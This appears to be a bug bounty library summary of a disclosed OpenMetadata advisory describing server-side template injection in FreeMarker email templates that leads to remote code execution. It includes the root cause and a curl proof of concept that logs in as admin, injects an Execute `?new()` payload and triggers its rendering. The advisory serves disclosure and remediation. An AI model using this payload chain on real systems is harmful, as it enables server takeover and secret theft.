# OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

Admin-writable FreeMarker email templates in OpenMetadata render without sandboxing, letting an admin inject `?new()` Execute payloads and run OS commands as the server user.

- Payout: Research
- Severity: high
- Program: OpenMetadata
- Found by: lnlinh31, sealbenb
- Disclosed: 2026-01-07
- CVE: CVE-2026-22244
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5f29-2333-h9c7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5f29-2333-h9c7
- Tags: area:web domain:web impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:high tech:java technique:source-review vuln:rce vuln:ssti

**Target:** FreeMarker email template rendering in DefaultTemplateProvider (docStore PATCH endpoint)
**Root cause:** DefaultTemplateProvider instantiates a FreeMarker Template from user-controlled DB content using a default Configuration with no SAFER_RESOLVER, no APIBuiltinEnabled(false), and no template loader restrictions, so `?new()` can instantiate freemarker.template.utility.Execute.
**Steps:**
1. Authenticate as admin: `POST /api/v1/users/login` with admin creds to get JWT.
2. List templates: `GET /api/v1/docStore?entityType=EmailTemplate` and pick e.g. `testMail` id.
3. Inject payload: `PATCH /api/v1/docStore/{id}` with `[{"op":"replace","path":"/data/template","value":"<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"}]` (HTTP 200).
4. Configure SMTP (e.g. MailDev) in emailConfiguration settings and restart server.
5. Trigger render: `PUT /api/v1/system/email/test` with `{"email":"test@test.com"}`.
6. Read captured email; body contains command output (`openmetadata`, `/opt/openmetadata`).
**How found:** Code review of DefaultTemplateProvider.getTemplate spotted a FreeMarker Template built from DB-stored, admin-editable content with a bare Configuration lacking SAFER_RESOLVER and APIBuiltinEnabled(false), the classic SSTI sink; verified by injecting `?new()` Execute payload and triggering email rendering.
**Exploitation:** Admin JWT is used to overwrite a stored email template with a FreeMarker payload that instantiates Execute; any email-triggering action (test email, password change, invitation) renders the template server-side and executes arbitrary OS commands as the OpenMetadata process user, enabling env-var/secret exfiltration or reverse shells.
**Escalation:** Admin compromise escalates to host shell, DB credentials, JWT signing keys, and potential pivot to 70+ connected data sources or the container/K8s cluster.
**Insight:** When auditing template engines, grep for `new Template(` / `new Configuration(` and check for SAFER_RESOLVER and APIBuiltinEnabled(false); any admin-editable stored template (email, notification, doc) is a viable SSTI sink even without direct request-body injection.

## Proof of concept (copied exactly from the original report)

**PATCH request injecting FreeMarker Execute payload**

```
curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
  -H "Content-Type: application/json-patch+json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  }]'
```

**Trigger test email to execute template**

```
curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"test@test.com"}'
```

**Admin login to obtain JWT token**

```
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
  | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)
```

